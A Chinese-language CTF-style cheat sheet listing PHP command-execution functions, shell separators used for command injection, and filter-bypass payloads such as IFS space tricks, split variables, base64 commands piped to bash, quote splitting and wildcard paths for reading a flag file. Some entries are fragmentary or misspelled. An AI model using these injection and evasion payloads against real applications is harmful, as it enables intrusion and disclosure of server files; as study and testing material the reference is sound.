由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,Cyb3rES3c及文章作者不承担任何责任。请遵守《中华人民共和国个人信息保护法》、《网络安全法》等相关法律法规。
php命令执行函数
system()
# 返回最后一行内容
passthru()
# 输出,无返回值
exec()
# 输出最后一行内容
shell_exec()
# 不输出,执行成功则返回执行结果的字符串形式
``
# ``也可以执行命令
demo
其它php命令执行函数:
popen()
proc_open()
pcntl_exec()
ob_start()
eval()
# 传入的参数必须为 php 代码,并且以 ; 分号结尾
assert()
# 直接将传入的参数当作代码执行,不需要分号结尾
call_user_func()
# 把第一个参数作为回调函数调用,其余参数是回调函数的参数
preg_replcace()
# 函数执行一个正则表达式的搜索和替换,修饰符 e 会让函数替换后的字符串作为代码去执行
# 该函数在 php7.0.0 开始已经不再支持 e 修饰符
call_user_fun_array()
create_function()
array_map()
array_filter()
uasort()
|
# 直接执行后面的语句
||
# 如果前面的语句是错误的,那么就执行后面的语句,否则只执行前面的
&
# 无论前面的语句是否正确,前面和后面的语句都要执行
&&
# 如果前面的语句正确,则前面和后面的语句都要执行;如果前面的语句错误,则前面和后面的命令都不执行
;
# 无论前面的语句是否正确,分号前面和后面的语句都要执行
$()
# 用来替换命令
%0a
# 换行符
< <> 重定向符
09(需要php环境)
{IFS}
$1 $1指传过来的第1个参数 IFS
{cat,flag.php} //用逗号实现了空格功能
20
09
a=c;b=at;c=fl;d=ag;$a$b $c$d
`echo "Y2F0IGZsYWc="|base64 -d`
`echo "Y2F0IGZsYWc="|base64 -d|bash` (在bash被过滤的情况下可尝试sh)
c""at fl''ag
c\at fl\ag
/???/?[a][t] ?''?''?''?''`
`/???/?at ????`
`/???/?[a]''[t] ?''?''?''?''
$# 是传给脚本的参数个数
$0 是脚本本身的名字
$1 是传递给该shell脚本的第一个参数
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个
$$ 是脚本运行的当前进程ID号
$? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误
more:一页一页的显示档案内容
less:与 more 类似head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
# 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,
# 并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings